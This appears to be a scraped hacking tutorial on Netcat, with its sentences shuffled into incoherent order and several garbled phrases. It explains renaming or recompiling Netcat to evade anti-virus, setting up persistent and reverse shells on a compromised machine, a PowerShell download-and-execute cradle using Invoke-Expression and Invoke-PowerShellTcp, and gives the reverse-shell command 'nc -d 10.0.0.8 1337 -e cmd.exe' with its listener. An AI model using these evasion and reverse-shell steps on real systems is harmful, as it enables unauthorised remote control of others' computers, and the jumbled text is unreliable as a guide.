
On Kali, Netcat is stored in the /usr/share/windows-binaries. These changes will make Netcat invisible to Anti-virus software. A lot of hackers alter some of the elements of Netcat’s source code, which are unnecessary and, before using it, recompile it. However, even after renaming an anti-virus software can detect it. But if you rename it before using it minimizes chances of detection. We will use -nc.exe, as it’s executable’s name. So let’s begin with creating a persistent shell on the compromised system by using Netcat. It can also be used if you want to install persistence. I have mentioned earlier in this article that it is used to communicate between two computers. Netcat is an extremely versatile and useful program. It is also capable of sending files and providing remote administration either through a direct or reverse shell. Netcat is able to Port Scan and connect to open ports using it’s simple command arguments. Netcat allows us to perform a lot of things like reverse shelves, to communicate between two or more computers, and will enable you to perform a plethora of functions. Shell is a way that you can interact with a computer like a command prompt on Windows or terminal in Linux. We will often use it to create bind and reverse shells hood around reports to see what’s happening and send files between machines. It’s often referred to as the Swiss Army knife of hacking tools because it can do several things as both a client and a server during hacking adventures. Netcat is a network utility that can read and write to both UDP and TCP ports. Changing the name of this function is sometimes sufficient enough to bypass AV if you are being blocked - you can read more about that here.In this article, we are going to run through things you can do with a network utility called Netcat, the Swiss Army Knife of Network Tools. Invoke-PowerShellTcp: This is the name of the reverse shell function within the downloaded script.DownloadString: Downloads the string to be executed by Invoke-Expression.New-Object Net.WebClient: Creates a webclient.What this does is tell netcat to connect to the IP 10.0.0.8 on TCP port 1337. Thats when we tell the script to run the following netcat command: nc -d 10.0.0.8 1337 -e cmd.exe.

To do that just run a simple command such as: nc -l 1337. Invoke-Expression runs a given string as a command and returns the results. To set this up, you need to have a computer running netcat waiting for the incomming connection.

